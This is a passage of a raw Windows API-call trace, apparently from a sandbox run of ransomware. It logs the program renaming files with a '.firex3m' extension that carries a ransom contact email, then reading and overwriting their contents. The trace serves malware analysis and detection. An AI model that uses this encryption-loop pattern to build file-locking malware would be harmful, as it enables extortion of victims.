files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.217] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.218] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d52c0 [0227.218] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0227.218] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-hk\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0227.218] GetProcessHeap () returned 0x630000 [0227.218] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0227.218] GetProcessHeap () returned 0x630000 [0227.218] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6405b0 [0227.218] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.218] ReadFile (in: hFile=0x640, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x537ff0c*=0x220, lpOverlapped=0x0) returned 1 [0227.221] GetProcessHeap () returned 0x630000 [0227.221] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0227.221] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.221] WriteFile (in: hFile=0x640, lpBuffer=0x6405b0*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6405b0*, lpNumberOfBytesWritten=0x537ff0c*=0x220, lpOverlapped=0x0) returned 1 [0227.222] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.222] WriteFile (in: hFile=0x640, lpBuffer=0x6407cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6407cf*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.222] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.222] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.222] CloseHandle (hObject=0x640) returned 1 [0227.222] GetProcessHeap () returned 0x630000 [0227.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6405b0 | out: hHeap=0x630000) returned 1 [0227.222] GetProcessHeap () returned 0x630000 [0227.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0227.222] GetProcessHeap () returned 0x630000 [0227.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0227.222] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d61d6f3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x246, dwReserved0=0xa187496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5200 [0227.222] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0227.223] Sleep (dwMilliseconds=0x1) [0227.229] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Win10_Brand.png", len=0x78 | out: pbstr=0x537ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Win10_Brand.png") returned 1 [0227.229] GetProcessHeap () returned 0x630000 [0227.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x514c) returned 0x6fe3bb0 [0227.229] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Win10_Brand.png" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\win10_brand.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0227.229] CloseHandle (hObject=0x5ec) returned 1 [0227.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.229] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Win10_Brand.png" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\win10_brand.png"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Win10_Brand.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\win10_brand.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.230] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Win10_Brand.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x585d4e00, ftLastWriteTime.dwHighDateTime=0x1d29e39, nFileSizeHigh=0x0, nFileSizeLow=0x3f73, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="Win10_Brand.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIN10_~1.FIR")) returned 0x6d5400 [0227.230] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0227.231] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Win10_Brand.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\win10_brand.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0227.231] GetProcessHeap () returned 0x630000 [0227.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3f81) returned 0x74d7f58 [0227.231] GetProcessHeap () returned 0x630000 [0227.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3f81) returned 0x7128660 [0227.231] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.231] ReadFile (in: hFile=0x5ec, lpBuffer=0x74d7f58, nNumberOfBytesToRead=0x3f60, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74d7f58*, lpNumberOfBytesRead=0x537ff0c*=0x3f60, lpOverlapped=0x0) returned 1 [0229.290] GetProcessHeap () returned 0x630000 [0229.290] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0229.290] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.290] WriteFile (in: hFile=0x5ec, lpBuffer=0x7128660*, nNumberOfBytesToWrite=0x3f60, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7128660*, lpNumberOfBytesWritten=0x537ff0c*=0x3f60, lpOverlapped=0x0) returned 1 [0229.290] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.290] WriteFile (in: hFile=0x5ec, lpBuffer=0x712c5bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712c5bf*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0229.290] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.290] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0229.290] CloseHandle (hObject=0x5ec) returned 1 [0229.290] GetProcessHeap () returned 0x630000 [0229.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7128660 | out: hHeap=0x630000) returned 1 [0229.290] GetProcessHeap () returned 0x630000 [0229.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74d7f58 | out: hHeap=0x630000) returned 1 [0229.291] GetProcessHeap () returned 0x630000 [0229.291] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0229.291] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0229.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\Win10_Brand.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4e9cbd3f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3f97, dwReserved0=0xa187496, dwReserved1=0x74d7f50, cFileName="Win10_Brand.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIN10_~1.FIR")) returned 0x6d4ec0 [0229.291] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0229.291] Sleep (dwMilliseconds=0x1) [0231.027] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x537ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastreviewsettings.xml") returned 1 [0231.027] GetProcessHeap () returned 0x630000 [0231.027] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50cc) returned 0x6fe3bb0 [0231.027] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0231.028] CloseHandle (hObject=0x5ec) returned 1 [0231.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0231.028] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.174] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d54c0 [0234.174] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0234.174] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nl-be\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0234.174] GetProcessHeap () returned 0x630000 [0234.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa7f0 [0234.174] GetProcessHeap () returned 0x630000 [0234.174] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa9c8 [0234.174] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.174] ReadFile (in: hFile=0x5ec, lpBuffer=0x74aa7f0, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa7f0*, lpNumberOfBytesRead=0x537ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0234.177] GetProcessHeap () returned 0x630000 [0234.177] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0234.177] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.177] WriteFile (in: hFile=0x5ec, lpBuffer=0x74aa9c8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa9c8*, lpNumberOfBytesWritten=0x537ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0234.177] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.177] WriteFile (in: hFile=0x5ec, lpBuffer=0x74aab67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aab67*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.177] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.177] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.177] CloseHandle (hObject=0x5ec) returned 1 [0234.177] GetProcessHeap () returned 0x630000 [0234.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa9c8 | out: hHeap=0x630000) returned 1 [0234.177] GetProcessHeap () returned 0x630000 [0234.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa7f0 | out: hHeap=0x630000) returned 1 [0234.177] GetProcessHeap () returned 0x630000 [0234.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0235.268] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5187530e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x537fd20, dwReserved1=0x74aa7f0, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5280 [0235.268] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.269] Sleep (dwMilliseconds=0x1) [0235.341] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x537ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastreviewsettings.xml") returned 1 [0235.341] GetProcessHeap () returned 0x630000 [0235.341] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x505c) returned 0x6fe3bb0 [0235.341] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.342] CloseHandle (hObject=0x4bc) returned 1 [0235.342] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.342] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.343] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5500 [0235.343] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0235.343] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.343] GetProcessHeap () returned 0x630000 [0235.343] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dbef8 [0235.343] GetProcessHeap () returned 0x630000 [0235.343] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc2a8 [0235.343] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.344] ReadFile (in: hFile=0x4bc, lpBuffer=0x6dbef8, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbef8*, lpNumberOfBytesRead=0x537ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.346] GetProcessHeap () returned 0x630000 [0235.346] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0235.346] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.346] WriteFile (in: hFile=0x4bc, lpBuffer=0x6dc2a8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc2a8*, lpNumberOfBytesWritten=0x537ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.346] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.346] WriteFile (in: hFile=0x4bc, lpBuffer=0x6dc447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc447*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.346] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.347] WriteFile (in: hFile=0x4bc, 